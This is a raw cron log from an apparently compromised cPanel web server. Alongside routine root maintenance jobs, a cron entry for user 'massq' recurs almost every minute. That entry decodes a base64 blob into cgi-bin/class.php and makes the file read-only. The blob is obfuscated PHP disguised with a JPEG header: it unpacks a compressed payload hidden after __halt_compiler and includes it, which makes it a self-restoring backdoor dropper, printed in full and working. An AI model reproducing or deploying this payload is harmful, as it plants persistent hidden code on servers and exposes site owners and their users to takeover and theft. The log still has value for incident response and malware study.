Sep  4 14:02:01 server CROND[26286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:03:01 server CROND[26664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:03:01 server CROND[26665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:03:01 server CROND[26667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:04:01 server CROND[27141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:04:01 server CROND[27143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:04:01 server CROND[27142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:05:01 server CROND[27544]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:05:01 server CROND[27548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:05:01 server CROND[27552]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 14:05:01 server CROND[27558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:05:01 server CROND[27555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:05:01 server CROND[27556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:05:01 server CROND[27560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:05:01 server CROND[27557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:05:01 server CROND[27561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:06:01 server CROND[28411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:06:01 server CROND[28413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:06:01 server CROND[28412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:07:01 server CROND[28804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:07:01 server CROND[28805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:07:01 server CROND[28806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:08:01 server CROND[29190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:08:01 server CROND[29191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:08:01 server CROND[29192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:09:01 server CROND[29677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:09:01 server CROND[29679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:09:01 server CROND[29678]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 14:09:01 server CROND[29680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:10:01 server CROND[30077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:10:01 server CROND[30081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:10:01 server CROND[30079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:10:01 server CROND[30087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:10:01 server CROND[30084]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:10:01 server CROND[30082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:10:01 server CROND[30086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:10:01 server CROND[30091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:11:01 server CROND[30923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:11:01 server CROND[30924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:11:01 server CROND[30925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:12:01 server CROND[31317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:12:01 server CROND[31318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:12:01 server CROND[31320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:12:01 server CROND[31319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:13:01 server CROND[31719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:13:01 server CROND[31721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:13:01 server CROND[31720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:14:01 server CROND[32192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:14:01 server CROND[32193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:14:01 server CROND[32194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:15:01 server CROND[32589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
